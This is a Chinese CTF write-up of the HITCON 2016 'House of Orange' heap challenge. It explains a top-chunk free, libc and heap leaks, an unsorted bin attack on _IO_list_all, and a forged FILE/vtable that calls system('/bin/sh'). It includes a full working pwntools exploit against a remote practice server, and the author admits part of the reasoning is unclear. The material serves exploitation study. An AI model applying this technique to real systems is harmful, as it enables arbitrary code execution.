houseoforange_hitcon_2016:
很经典的一道题目,checsec一下,保护全开
程序分析:
这题最主要就是没有free
漏洞分析:
edit里的length和add里的length没有联系,
我们可以造成堆溢出
大致思路:
1.释放到unsortbin中,泄露libc_base和heap_addr:
利用堆溢出,改Top_chunk_size为一个较小的值,我们再申请一个大于Top_chunk_size的chunk的话,系统会用sysmalloc来分配堆,如果符合sysmalloc条件的话,原来的top chunk就会释放到unsorted bin中,
我们就能泄露main_arena和libc_base了,同时为了泄露heap_addr,要申请一个large bin,它的fd_nextsize和bk_nextsize中指向自身
(注意泄露的时候的字符处理)
泄露出来后计算出:
system,_IO_list_all,heap_base
使用条件有:
①可以修改topchunk的size
②伪造的 size 必须要对齐到内存页
③size 要大于 MINSIZE(0x10)
④size 要小于之后申请的 chunk size + MINSIZE(0x10)
⑤size 的 prev inuse 位必须为 1
其中第二点要特别注意,这导致了我们修改topchunk的size的时候要注意4k对齐
例: 在覆盖之前 top chunk 的 size 大小是 20fe1,地址是 0x602020,通过计算得知
0x602020+0x20fe0=0x623000 是对于 0x1000(4kb)对齐的所以我们伪造的size加上地址也要4k对齐,一般是0x0fe1、0x1fe1、0x2fe1、0x3fe1、0xfe1
———————————————— 版权声明:本文为CSDN博主「Carol7S」的原创文章,遵循CC 4.0
BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/carol2358/article/details/108367870
2.利用unsortbin_attack,改IO_list_all指向unsorted bin的头chunk地址:
我们把IO_list_all-0x10填入unsortbin的bk
会造成IO_list_all指向main_arena中存的unsorted_bin_addr,是 main_arena + 0x58的地址,我们现在把它看作IO_file_plus结构体,它偏移0x68处是_chain的位置,即main_arena + 0x58+0x68=main_arena+0xc0处,而以malloc_state结构来看,存的是small bin的头地址
我们把unsorted bin的头结点的size改成0x60,(偏移0x60,偏移0x68存的值都是unsortbin的地址,所以size0x60,和0x68都行,不知道是不是这原因)这样当我们调用malloc,glibc会整理unsorted bin,把对应size的chunk放入对应的bin里面。(后面会检查,还会利用那个报错)此时,size为0x60,属于small_bin,这样就指向我们控制的堆里了
3.在unsortbin中伪造IO_file_plus和vtable结构:
fake_file这么填:
摘自__lifanxin师傅
# 设 chunk_addr
{
file = {
_flags = "/bin/sh\x00", # binsh 字符串 chunk_addr + 0x0
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0, # chunk_addr + 0x20
_IO_write_ptr = 0x1, # 保证 ptr > base chunk_addr + 0x28
...
...
}, # vtable_addr = chunk_addr + 0xd8
vtable = heap_addr # 堆上另一个可控地址 heap_addr = chunk_addr + 0xe0
}
heap_addr {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x0,
__overflow = system, # _IO_OVERFLOW 覆盖为 system 的地址,其第一个参数就是chunk_addr
... # 因此这样构造我们就实现了 system("/bin/sh\x00")
...
}
4.最后再malloc:
由于unsorted bin里的指针被修改了,发生malloc_printerr报错,而malloc_printerr用到了__IO_list_all指针,会从__IO_list_all指向的地方开始查找合适的FILE结构。调用里面vtable里的函数,我们在vtable里放入了system函数;以_flag的地址为参数,我们填入了/bin/sh
exp:
from pwn import *
#from LibcSearcher import *
local_file = './houseoforange_hitcon_2016'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',29247 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#-----------------------------------
def add(length,name,price):
sla('Your choice : ','1')
sla('Length of name :',str(length))
sa('Name :',name)
sla('Price of Orange:',str(price))
sla('Color of Orange:','1')
def show():
sla('Your choice : ','2')
def edit(length,name,price):
sla('Your choice : ','3')
sla('Length of name :',str(length))
sa('Name:',name)
sla('Price of Orange: ',str(price))
sla('Color of Orange: ','1')
#------------free_to_unsortbin----
add(0x20,'aaaa',0x10)
edit(0x50,'a'*0x20+p64(0)+p64(0x21)+p32(0x10)+p32(0x1f)+p64(0)*2+p64(0xf91),0x10)
add(0x1000,'bbbb',0x10)
#----------leak_libc_base---------
add(0x400,'a',0x10)
show()
main_area_xx=uu64(ru('\x7f')[-6:])
IO_list_all=(main_area_xx & 0xfffffffffffff000)+(libc.sym['_IO_list_all'] & 0xfff)
print 'IO_list='+str(hex(IO_list_all))
libc_base=IO_list_all-libc.sym['_IO_list_all']
system=libc_base+libc.sym['system']
print 'libc_base='+str(hex(libc_base))
#--------leak heap_addr-----------
edit(0x10,'c'*0x10,0x10)
show()
ru('c'*0x10)
heap_base=uu64(ru('\n')[:-1])-0xd0
print hex(heap_base)
#debug()
#---------------------------------
payload='a'*0x400+p64(0)+p64(0x21)+'a'*0x10
fake_file='/bin/sh\x00'+p64(0x68)
fake_file+=p64(0)+p64(IO_list_all-0x10)
fake_file+=p64(0) + p64(1)
fake_file=fake_file.ljust(0xc0,'\x00')
fake_file+=p64(0)*3
fake_file+=p64(heap_base + 0x5d8)
#----------------------
fake_file+=p64(0)*2
fake_file+=p64(system)
payload+=fake_file
edit(len(payload),payload,0x10)
#debug()
sla('Your choice : ','1')
#debug()
r.interactive()
其他:
水平有限,第二步还是有点不懂,如有错误还望见谅
参考师傅:
https://blog.csdn.net/seaaseesa/article/details/104314949
https://blog.csdn.net/A951860555/article/details/116425824
https://blog.csdn.net/carol2358/article/details/108367870